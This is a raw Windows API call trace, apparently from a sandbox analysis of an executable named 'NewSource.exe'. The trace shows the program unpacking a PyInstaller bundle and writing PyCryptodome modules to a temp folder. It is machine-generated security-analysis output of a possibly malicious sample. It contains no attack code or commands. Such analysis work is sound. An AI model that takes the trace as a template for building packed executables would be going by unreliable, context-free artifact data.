CloseHandle (hObject=0x10c) returned 1 [0034.593] GetLastError () returned 0x0 [0034.593] SetLastError (dwErrCode=0x0) [0034.594] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Math") returned 57 [0034.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Math" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\math"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.594] GetLastError () returned 0x2 [0034.594] SetLastError (dwErrCode=0x2) [0034.594] GetLastError () returned 0x2 [0034.594] SetLastError (dwErrCode=0x2) [0034.594] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Math", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Math", lpFilePart=0x0) returned 0x38 [0034.594] GetLastError () returned 0x2 [0034.594] SetLastError (dwErrCode=0x2) [0034.594] GetLastError () returned 0x2 [0034.594] SetLastError (dwErrCode=0x2) [0034.594] GetLastError () returned 0x2 [0034.594] SetLastError (dwErrCode=0x2) [0034.594] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Math" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\math"), lpSecurityAttributes=0x0) returned 1 [0034.594] GetLastError () returned 0x2 [0034.594] SetLastError (dwErrCode=0x2) [0034.594] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Math\\_modexp.pyd") returned 69 [0034.594] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Math\\_modexp.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\math\\_modexp.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.594] GetLastError () returned 0x2 [0034.594] SetLastError (dwErrCode=0x2) [0034.594] GetLastError () returned 0x2 [0034.594] SetLastError (dwErrCode=0x2) [0034.594] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Math\\_modexp.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Math\\_modexp.pyd", lpFilePart=0x0) returned 0x44 [0034.594] GetLastError () returned 0x2 [0034.594] SetLastError (dwErrCode=0x2) [0034.595] GetLastError () returned 0x2 [0034.595] SetLastError (dwErrCode=0x2) [0034.595] GetLastError () returned 0x2 [0034.595] SetLastError (dwErrCode=0x2) [0034.595] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Math\\_modexp.pyd") returned 69 [0034.595] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.595] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Math\\_modexp.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\math\\_modexp.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.595] GetFileType (hFile=0x10c) returned 0x1 [0034.595] htonl (hostlong=0x5c0000) returned 0x5c00 [0034.595] WriteFile (in: hFile=0x10c, lpBuffer=0x563360*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x563360*, lpNumberOfBytesWritten=0x4fcd00*=0x5000, lpOverlapped=0x0) returned 1 [0034.654] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.654] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xc00, lpOverlapped=0x0) returned 1 [0034.654] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.654] CloseHandle (hObject=0x10c) returned 1 [0034.655] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563360 | out: hHeap=0x530000) returned 1 [0034.657] htonl (hostlong=0x30000000) returned 0x30 [0034.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.657] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.657] GetFileType (hFile=0x10c) returned 0x1 [0034.657] htonl (hostlong=0x597c0300) returned 0x37c59 [0034.657] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x82c59, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.657] htonl (hostlong=0xea0c0000) returned 0xcea [0034.657] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcea) returned 0x55d270 [0034.657] htonl (hostlong=0xea0c0000) returned 0xcea [0034.657] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55df68 [0034.657] ReadFile (in: hFile=0x10c, lpBuffer=0x55df68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55df68*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.657] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.657] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a00) returned 0x560088 [0034.658] htonl (hostlong=0xea0c0000) returned 0xcea [0034.658] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.658] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561a90 [0034.658] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561a90 | out: hHeap=0x530000) returned 1 [0034.658] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.658] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55df68 | out: hHeap=0x530000) returned 1 [0034.658] CloseHandle (hObject=0x10c) returned 1 [0034.658] GetLastError () returned 0x0 [0034.658] SetLastError (dwErrCode=0x0) [0034.658] GetLastError () returned 0x0 [0034.658] SetLastError (dwErrCode=0x0) [0034.658] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.658] GetFileType (hFile=0x10c) returned 0x1 [0034.658] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.659] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.659] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.659] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.659] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.659] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.659] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.659] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.659] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.659] CloseHandle (hObject=0x10c) returned 1 [0034.659] GetLastError () returned 0x0 [0034.659] SetLastError (dwErrCode=0x0) [0034.659] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Protocol") returned 61 [0034.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Protocol" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\protocol"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.659] GetLastError () returned 0x2 [0034.659] SetLastError (dwErrCode=0x2) [0034.659] GetLastError () returned 0x2 [0034.659] SetLastError (dwErrCode=0x2) [0034.659] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Protocol", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Protocol", lpFilePart=0x0) returned 0x3c [0034.659] GetLastError () returned 0x2 [0034.659] SetLastError (dwErrCode=0x2) [0034.659] GetLastError () returned 0x2 [0034.659] SetLastError (dwErrCode=0x2) [0034.659] GetLastError () returned 0x2 [0034.659] SetLastError (dwErrCode=0x2) [0034.660] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Protocol" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\protocol"), lpSecurityAttributes=0x0) returned 1 [0034.660] GetLastError () returned 0x2 [0034.660] SetLastError (dwErrCode=0x2) [0034.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Protocol\\_scrypt.pyd") returned 73 [0034.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Protocol\\_scrypt.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\protocol\\_scrypt.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.660] GetLastError () returned 0x2 [0034.660] SetLastError (dwErrCode=0x2) [0034.660] GetLastError () returned 0x2 [0034.660] SetLastError (dwErrCode=0x2) [0034.660] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Protocol\\_scrypt.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Protocol\\_scrypt.pyd", lpFilePart=0x0) returned 0x48 [0034.660] GetLastError () returned 0x2 [0034.660] SetLastError (dwErrCode=0x2) [0034.660] GetLastError () returned 0x2 [0034.660] SetLastError (dwErrCode=0x2) [0034.660] GetLastError () returned 0x2 [0034.660] SetLastError (dwErrCode=0x2) [0034.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Protocol\\_scrypt.pyd") returned 73 [0034.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Protocol\\_scrypt.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\protocol\\_scrypt.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.661] GetFileType (hFile=0x10c) returned 0x1 [0034.661] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.661] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.662] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.662] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0034.662] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.662] CloseHandle (hObject=0x10c) returned 1 [0034.663] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.663] htonl (hostlong=0x30000000) returned 0x30 [0034.663] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.663] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.664] GetFileType (hFile=0x10c) returned 0x1 [0034.664] htonl (hostlong=0x43890300) returned 0x38943 [0034.664] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x83943, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.664] htonl (hostlong=0xf70a0000) returned 0xaf7 [0034.664] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaf7) returned 0x55d270 [0034.664] htonl (hostlong=0xf70a0000) returned 0xaf7 [0034.664] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55dd70 [0034.664] ReadFile (in: hFile=0x10c, lpBuffer=0x55dd70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55dd70*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.664] htonl (hostlong=0x180000) returned 0x1800 [0034.664] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1800) returned 0x560088 [0034.665] htonl (hostlong=0xf70a0000) returned 0xaf7 [0034.665] htonl (hostlong=0x180000) returned 0x1800 [0034.665] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561890 [0034.665] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561890 | out: hHeap=0x530000) returned 1 [0034.665] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.665] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dd70 | out: hHeap=0x530000) returned 1 [0034.665] CloseHandle (hObject=0x10c) returned 1 [0034.665] GetLastError () returned 0x0 [0034.665] SetLastError (dwErrCode=0x0) [0034.665] GetLastError () returned 0x0 [0034.665] SetLastError (dwErrCode=0x0) [0034.665] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.665] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.665] GetFileType (hFile=0x10c) returned 0x1 [0034.665] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.665] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.665] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.665] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.665] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.665] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.666] CloseHandle (hObject=0x10c) returned 1 [0034.666] GetLastError () returned 0x0 [0034.666] SetLastError (dwErrCode=0x0) [0034.666] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util") returned 57 [0034.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\util"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.666] GetLastError () returned 0x2 [0034.666] SetLastError (dwErrCode=0x2) [0034.666] GetLastError () returned 0x2 [0034.666] SetLastError (dwErrCode=0x2) [0034.666] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util", lpFilePart=0x0) returned 0x38 [0034.666] GetLastError () returned 0x2 [0034.666] SetLastError (dwErrCode=0x2) [0034.666] GetLastError () returned 0x2 [0034.666] SetLastError (dwErrCode=0x2) [0034.666] GetLastError () returned 0x2 [0034.666] SetLastError (dwErrCode=0x2) [0034.666] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\util"), lpSecurityAttributes=0x0) returned 1 [0034.667] GetLastError () returned 0x2 [0034.667] SetLastError (dwErrCode=0x2) [0034.667] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util\\_cpuid_c.pyd") returned 70 [0034.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util\\_cpuid_c.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\util\\_cpuid_c.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.668] GetLastError () returned 0x2 [0034.668] SetLastError (dwErrCode=0x2) [0034.668] GetLastError () returned 0x2 [0034.668] SetLastError (dwErrCode=0x2) [0034.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util\\_cpuid_c.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util\\_cpuid_c.pyd", lpFilePart=0x0) returned 0x45 [0034.668] GetLastError () returned 0x2 [0034.668] SetLastError (dwErrCode=0x2) [0034.668] GetLastError () returned 0x2 [0034.668] SetLastError (dwErrCode=0x2) [0034.668] GetLastError () returned 0x2 [0034.668] SetLastError (dwErrCode=0x2) [0034.668] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util\\_cpuid_c.pyd") returned 70 [0034.668] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Util\\_cpuid_c.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\util\\_cpuid_c.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.668] GetFileType (hFile=0x10c) returned 0x1 [0034.668] htonl (hostlong=0x180000) returned 0x1800 [0034.668] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.669] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.669] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x800, lpOverlapped=0x0) returned 1 [0034.669] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.669] CloseHandle (hObject=0x10c) returned 1 [0034.670] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.670] htonl (hostlong=0x30000000) returned 0x30 [0034.670] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.671] GetFileType (hFile=0x10c) returned 0x1 [0034.671] htonl (hostlong=0x3a940300) returned 0x3943a [0034.671] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x8443a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.671] htonl (hostlong=0xe00a0000) returned 0xae0 [0034.671] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xae0) returned 0x55d270 [0034.671] htonl (hostlong=0xe00a0000) returned 0xae0 [0034.671] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55dd58 [0034.671] ReadFile (in: hFile=0x10c, lpBuffer=0x55dd58, 